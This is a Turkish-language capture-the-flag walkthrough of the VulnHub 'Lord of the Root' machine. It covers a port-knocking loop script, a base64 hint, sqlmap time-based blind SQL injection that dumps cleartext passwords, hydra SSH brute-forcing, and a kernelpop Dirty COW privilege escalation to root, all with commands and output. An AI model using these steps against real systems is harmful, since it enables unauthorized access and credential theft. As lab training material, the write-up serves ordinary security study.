Makine Hakkında Bilgiler
Açıklama:
I created this machine to help others learn some basic CTF hacking strategies and some tools. I aimed this machine to be very similar in difficulty to those I was breaking on the OSCP.
This is a boot-to-root machine will not require any guest interaction.
There are two designed methods for privilege escalation.
Vulnhub Sayfası:
https://www.vulnhub.com/entry/lord-of-the-root-101,129/
İndirme Sayfası:
https://download.vulnhub.com/lordoftheroot/LordOfTheRoot_1.0.1.ova
Walkthrough
Makineyi tespit ederek başlayalım.
┌──(root💀kali)-[~]
└─# arp-scan -l | grep dc 1 ⨯
192.168.31.110 08:00:27:9c:b2:dc PCS Systemtechnik GmbH
┌──(root💀kali)-[~]
└─# ifconfig eth0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.31.108 netmask 255.255.255.0 broadcast 192.168.31.255
inet6 fe80::a00:27ff:fe8b:5efb prefixlen 64 scopeid 0x20<link>
ether 08:00:27:8b:5e:fb txqueuelen 1000 (Ethernet)
RX packets 28123981 bytes 8397631879 (7.8 GiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 23951070 bytes 3797909784 (3.5 GiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
nmap taraması ile devam edelim.
[*] Scan: 1
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-01 04:13 EDT
Nmap scan report for LordOfTheRoot (192.168.31.110)
Host is up (0.00031s latency).
Not shown: 65534 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 3c:3d:e3:8e:35:f9:da:74:20:ef:aa:49:4a:1d:ed:dd (DSA)
| 2048 85:94:6c:87:c9:a8:35:0f:2c:db:bb:c1:3f:2a:50:c1 (RSA)
| 256 f3:cd:aa:1d:05:f2:1e:8c:61:87:25:b6:f4:34:45:37 (ECDSA)
|_ 256 34:ec:16:dd:a7:cf:2a:86:45:ec:65:ea:05:43:89:21 (ED25519)
MAC Address: 08:00:27:9C:B2:DC (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11, Linux 3.16 - 4.6, Linux 3.2 - 4.9, Linux 4.4
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.31 ms LordOfTheRoot (192.168.31.110)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 90.28 seconds
ilk nmap taramasında yukarıda görüldüğü gibi sadece ssh portu açıktı. Kendi yazdığım pythonda basit bir nmap loop aracı var. Sürekli olarak nmap taraması yapıyorum. Böylece açılan yeni bir port olduğunda bunu yakalayabiliyorum.
ssh'a bağlanmayı denediğimde aşağıdaki gibi bir sonuç buldum.
┌──(root💀kali)-[~]
└─# ssh 192.168.31.110 130 ⨯
The authenticity of host '192.168.31.110 (192.168.31.110)' can't be established.
ECDSA key fingerprint is SHA256:XzDLUMxo8ifHi4SciYJYj702X3PfFwaXyKOS07b6xd8.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.31.110' (ECDSA) to the list of known hosts.
.____ _____________________________
| | \_____ \__ ___/\______ \
| | / | \| | | _/
| |___/ | \ | | | \
|_______ \_______ /____| |____|_ /
\/ \/ \/
____ __. __ ___________ .__ .___ ___________ ___________ __
| |/ _| ____ ____ ____ | | __ \_ _____/______|__| ____ ____ __| _/ \__ ___/___ \_ _____/ _____/ |_ ___________
| < / \ / _ \_/ ___\| |/ / | __) \_ __ \ |/ __ \ / \ / __ | | | / _ \ | __)_ / \ __\/ __ \_ __ \
| | \| | ( <_> ) \___| < | \ | | \/ \ ___/| | \/ /_/ | | |( <_> ) | \ | \ | \ ___/| | \/
|____|__ \___| /\____/ \___ >__|_ \ \___ / |__| |__|\___ >___| /\____ | |____| \____/ /_______ /___| /__| \___ >__|
\/ \/ \/ \/ \/ \/ \/ \/ \/ \/ \/
Easy as 1,2,3
[email protected]'s password:
Evet port knok işlemi yapacağız, bu çok belli. Bunun üzerine bütün portlarıtarayabileceğim (1,2,3; 2,3,4; 3,4,5...) şeklinde basit bir python kodu yazdım.
┌──(root💀kali)-[~/oscp/lordofroot]
└─# cat portknock.py
import os
print("[*] Knock, knock!: ")
for i in range(1,65534):
os.system("knock 192.168.31.110 " + str(i) + " "+ str(i+1) + " " + str(i + 2))
print(".",end="")
print("[*] Ok!")
Kodu çalıştırdığımda nmap taramasında yeni bir port açıldı.
┌──(root💀kali)-[~/oscp/lordofroot]
└─# python3 portknock.py
[*] Knock, knock!:
.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................[*] Ok!
[*] Scan: 8
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-01 04:52 EDT
Nmap scan report for LordOfTheRoot (192.168.31.110)
Host is up (0.00022s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 3c:3d:e3:8e:35:f9:da:74:20:ef:aa:49:4a:1d:ed:dd (DSA)
| 2048 85:94:6c:87:c9:a8:35:0f:2c:db:bb:c1:3f:2a:50:c1 (RSA)
| 256 f3:cd:aa:1d:05:f2:1e:8c:61:87:25:b6:f4:34:45:37 (ECDSA)
|_ 256 34:ec:16:dd:a7:cf:2a:86:45:ec:65:ea:05:43:89:21 (ED25519)
1337/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:9C:B2:DC (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11, Linux 3.16 - 4.6, Linux 3.2 - 4.9, Linux 4.4
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.22 ms LordOfTheRoot (192.168.31.110)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 422.91 seconds
Bunun üzerine internet sayfasında tarama işlemleri gerçekleştirmeye başladım. gobuster çıktıları aşağıda.
┌──(root💀kali)-[~/oscp/lordofroot]
└─# gobuster dir --url http://192.168.31.110:1337 --follow-redirect --status-codes-blacklist "404" --no-error --threads 50 --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-big.txt -x php,html,sql,zip,bak,sql,txt,php5,py,rar,7z,log,cgi --expanded --add-slash
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.31.110:1337
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: cgi,php,html,sql,zip,txt,7z,log,bak,php5,py,rar
[+] Add Slash: true
[+] Follow Redirect: true
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2021/07/01 04:16:27 Starting gobuster in directory enumeration mode
===============================================================
http://192.168.31.110:1337/icons/ (Status: 403) [Size: 289]
http://192.168.31.110:1337/images/ (Status: 200) [Size: 1354]
http://192.168.31.110:1337/index.html (Status: 200) [Size: 64]
http://192.168.31.110:1337/404.html (Status: 200) [Size: 116]
http://192.168.31.110:1337/server-status/ (Status: 403) [Size: 297]
Progress: 7273357 / 16559842 (43.92%) ^C
[!] Keyboard interrupt detected, terminating.
===============================================================
2021/07/01 05:48:02 Finished
===============================================================
Burda 404 sayafsına gitiğimizde bir base64 yakalıyoruz.
<html>
<img src="/images/hipster.jpg" align="middle">
<!--THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh>
</html>
THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh
----
Lzk3ODM0NTIxMC9pbmRleC5waHA= Closer!
----
/978345210/index.php
Z,er!
2 kere decode ettikten sonra yeni bir adres elde ettik. Daha sonrasında buraya gobuster attım ama çok önemli değil. Bir login sayfası ile karşılaşıyoruz. sqli var ve sonuçlar aşağıda verilmiştir.
┌──(root💀kali)-[~/oscp/lordofroot]
└─# sqlmap -r istek --level=5 --risk=3 --dbs -p username,password --batch -D Webapp -T Users --dump
___
__H__
___ ___[(]_____ ___ ___ {1.5.6#stable}
|_ -| . [,] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 04:36:57 /2021-07-01/
[04:36:57] [INFO] parsing HTTP request from 'istek'
[04:36:57] [WARNING] provided parameters 'username, password' are not inside the Cookie
[04:36:57] [INFO] resuming back-end DBMS 'mysql'
[04:36:57] [INFO] testing connection to the target URL
got a 302 redirect to 'http://192.168.31.110:1337/978345210/profile.php'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=admin' AND (SELECT 6981 FROM (SELECT(SLEEP(5)))rmET)-- jGqb&password=admin&submit= Login
---
[04:36:58] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.5.9, Apache 2.4.7
back-end DBMS: MySQL >= 5.0.12
[04:36:58] [INFO] fetching database names
[04:36:58] [INFO] fetching number of databases
[04:36:58] [INFO] resumed: 4
[04:36:58] [INFO] resumed: information_schema
[04:36:58] [INFO] resumed: Webapp
[04:36:58] [INFO] resumed: mysql
[04:36:58] [INFO] resumed: performance_schema
available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] Webapp
[04:36:58] [INFO] fetching columns for table 'Users' in database 'Webapp'
[04:36:58] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
[04:37:00] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[04:37:15] [INFO] adjusting time delay to 1 second due to good response times
3
[04:37:15] [INFO] retrieved: id
[04:37:23] [INFO] retrieved: username
[04:37:48] [INFO] retrieved: password
[04:38:18] [INFO] fetching entries for table 'Users' in database 'Webapp'
[04:38:18] [INFO] fetching number of entries for table 'Users' in database 'Webapp'
[04:38:18] [INFO] retrieved: 5
[04:38:21] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)
1
[04:38:25] [INFO] retrieved: iwilltakethering
[04:39:21] [INFO] retrieved: frodo
[04:39:41] [INFO] retrieved: 2
[04:39:45] [INFO] retrieved: MyPreciousR00t
[04:40:37] [INFO] retrieved: smeagol
[04:41:01] [INFO] retrieved: 3
[04:41:05] [INFO] retrieved: AndMySword
[04:41:46] [INFO] retrieved: aragorn
[04:42:08] [INFO] retrieved: 4
[04:42:13] [INFO] retrieved: AndMyBow
[04:42:47] [INFO] retrieved: legolas
[04:43:12] [INFO] retrieved: 5
[04:43:16] [INFO] retrieved: AndMyAxe
[04:43:48] [INFO] retrieved: gimli
Database: Webapp
Table: Users
[5 entries]
+----+------------------+----------+
| id | password | username |
+----+------------------+----------+
| 1 | iwilltakethering | frodo |
| 2 | MyPreciousR00t | smeagol |
| 3 | AndMySword | aragorn |
| 4 | AndMyBow | legolas |
| 5 | AndMyAxe | gimli |
+----+------------------+----------+
[04:44:05] [INFO] table 'Webapp.Users' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.31.110/dump/Webapp/Users.csv'
[04:44:05] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.31.110'
[*] ending @ 04:44:05 /2021-07-01/
Burdan elde ettiğim kullanıcıları ve parolaları hydra'da ssh için kullandım.
┌──(root💀kali)-[~/oscp/lordofroot]
└─# hydra -L users -P passwords ssh://192.168.31.110
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-07-01 04:45:49
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 25 login tries (l:5/p:5), ~2 tries per task
[DATA] attacking ssh://192.168.31.110:22/
[22][ssh] host: 192.168.31.110 login: smeagol password: MyPreciousR00t
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-07-01 04:45:54
ssh ile login olduktan sonra her zaman yaptığım lse.sh scriptini indirdim. Bunun haricinde keşfetmekte geç kaldığımı düşündüğüm bir araçlada local priv taramaları gerçekleştirdim. https://github.com/kudayDOTsite/kernelpop
┌──(root💀kali)-[~/oscp/lordofroot]
└─# ssh [email protected] 255 ⨯
.____ _____________________________
| | \_____ \__ ___/\______ \
| | / | \| | | _/
| |___/ | \ | | | \
|_______ \_______ /____| |____|_ /
\/ \/ \/
____ __. __ ___________ .__ .___ ___________ ___________ __
| |/ _| ____ ____ ____ | | __ \_ _____/______|__| ____ ____ __| _/ \__ ___/___ \_ _____/ _____/ |_ ___________
| < / \ / _ \_/ ___\| |/ / | __) \_ __ \ |/ __ \ / \ / __ | | | / _ \ | __)_ / \ __\/ __ \_ __ \
| | \| | ( <_> ) \___| < | \ | | \/ \ ___/| | \/ /_/ | | |( <_> ) | \ | \ | \ ___/| | \/
|____|__ \___| /\____/ \___ >__|_ \ \___ / |__| |__|\___ >___| /\____ | |____| \____/ /_______ /___| /__| \___ >__|
\/ \/ \/ \/ \/ \/ \/ \/ \/ \/ \/
Easy as 1,2,3
[email protected]'s password:
Welcome to Ubuntu 14.04.3 LTS (GNU/Linux 3.19.0-25-generic i686)
* Documentation: https://help.ubuntu.com/
.____ _____________________________
| | \_____ \__ ___/\______ \
| | / | \| | | _/
| |___/ | \ | | | \
|_______ \_______ /____| |____|_ /
\/ \/ \/
__ __ .__ ___________ .__ .___
/ \ / \ ____ | | ____ ____ _____ ____ \_ _____/______|__| ____ ____ __| _/
\ \/\/ // __ \| | _/ ___\/ _ \ / \_/ __ \ | __) \_ __ \ |/ __ \ / \ / __ |
\ /\ ___/| |_\ \__( <_> ) Y Y \ ___/ | \ | | \/ \ ___/| | \/ /_/ |
\__/\ / \___ >____/\___ >____/|__|_| /\___ > \___ / |__| |__|\___ >___| /\____ |
\/ \/ \/ \/ \/ \/ \/ \/ \/
Last login: Thu Jul 1 02:46:16 2021 from 192.168.31.108
smeagol@LordOfTheRoot:~$ cd /tmp
smeagol@LordOfTheRoot:/tmp$ ls
smeagol@LordOfTheRoot:/tmp$ ls -al
total 20
drwxrwxrwt 4 root root 4096 Jul 1 03:09 .
drwxr-xr-x 23 root root 4096 Sep 22 2015 ..
drwxrwxrwt 2 root root 4096 Jul 1 2021 .ICE-unix
-r--r--r-- 1 root root 11 Jul 1 2021 .X0-lock
drwxrwxrwt 2 root root 4096 Jul 1 2021 .X11-unix
smeagol@LordOfTheRoot:/tmp$ git clone
smeagol@LordOfTheRoot:/tmp$ git clone https://github.com/kudayDOTsite/kernelpop.git
Cloning into 'kernelpop'...
remote: Enumerating objects: 1771, done.
remote: Total 1771 (delta 0), reused 0 (delta 0), pack-reused 1771
Receiving objects: 100% (1771/1771), 8.97 MiB | 1.73 MiB/s, done.
Resolving deltas: 100% (1275/1275), done.
Checking connectivity... done.
smeagol@LordOfTheRoot:/tmp$ cd
.ICE-unix/ kernelpop/ .X11-unix/
smeagol@LordOfTheRoot:/tmp$ cd kernelpop/
smeagol@LordOfTheRoot:/tmp/kernelpop$ ls
all_exploits.py constants.py create_executable.sh exploits img kernelpop.py playground README.md src test to_add.txt
smeagol@LordOfTheRoot:/tmp/kernelpop$ python3 kernelpop.py
##########################
# welcome to kernelpop #
# #
# let's pop some kernels #
##########################
[*] grabbing distro version and release from underlying OS (linuxdebian)
[*] grabbing kernel version from 'uname -a'
[!] could only get the kernel base...may not have accurate matches
[+] kernel (Linux LordOfTheRoot 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:18:00 UTC 2015 i686 i686 i686 GNU/Linux) identified as:
[base]
type: linux
distro: linuxdebian
version: 3.19.0-25
architecture: i686
[!] no specific distro kernel discovered...likelihood of false positives is high
[*] matching kernel to known exploits
[+] discovered 10 possible exploits !
[[ base linux kernel vulnerable ]]
CVE20177308 `packet_set_ring` in net/packet/af_packet.c can gain privileges via crafted system calls.
CVE20151328_32 overlayfs implementation in linux kernel does not properly check file-create permissions
CVE20162384 Double free vulnerability in the `snd_usbmidi_create` (requires physical proximity)
CVE20165195_32 Dirty COW race condition root priv esc for 32 bit
CVE20165195_32_poke Dirty COW race condition root priv esc for 32 bit (poke variant)
CVE20173630 Stack clash vuln in solaris
CVE20176074 `dccp_rcv_state_process` in net/dccp/input.c mishandles structs and can lead to local root
CVE20171000112 ip_ufo_append_data() memory corruption flaw can be exploited to gain root privileges.
CVE20171000367 sudo get_process_ttyname() root priv esc
CVE20171000373 Stack clash vulnerability from qualys
smeagol@LordOfTheRoot:/tmp/kernelpop$ python3 kernelpop.py -e CVE20165195_32
##########################
# welcome to kernelpop #
# #
# let's pop some kernels #
##########################
[*] attempting to perform exploitation with exploit CVE20165195_32
[*] stabilizing exploit:
`echo 0 > /proc/sys/vm/dirty_writeback_centisecs`
Would you like to run exploit CVE20165195_32 on this system? (y/n): y
[*] writing the exploit source to disk (/tmp/CVE20165195_32.c)
[*] compiling exploit CVE20165195_32 to /tmp/CVE20165195_32
[*] gcc /tmp/CVE20165195_32.c -o /tmp/CVE20165195_32 -pthread
[+] compilation successful!
[*] performing exploitation of CVE20165195_32
DirtyCow root privilege escalation
Backing up /usr/bin/passwd to /tmp/bak
Size of binary: 45420
Racing, this may take a while..
thread stopped
thread stopped
/usr/bin/passwd overwritten
Popping root shell.
Don't forget to restore /tmp/bak
root@LordOfTheRoot:/tmp/kernelpop# id
uid=0(root) gid=1000(smeagol) groups=0(root),1000(smeagol)
root@LordOfTheRoot:/tmp/kernelpop# cd /root
root@LordOfTheRoot:/root# ls
Flag.txt buf buf.c other other.c switcher.py
root@LordOfTheRoot:/root# cat Flag.txt
“There is only one Lord of the Ring, only one who can bend it to his will. And he does not share power.”
– Gandalf
Basit bir makineydi.
İlk Yorumu Siz Yapın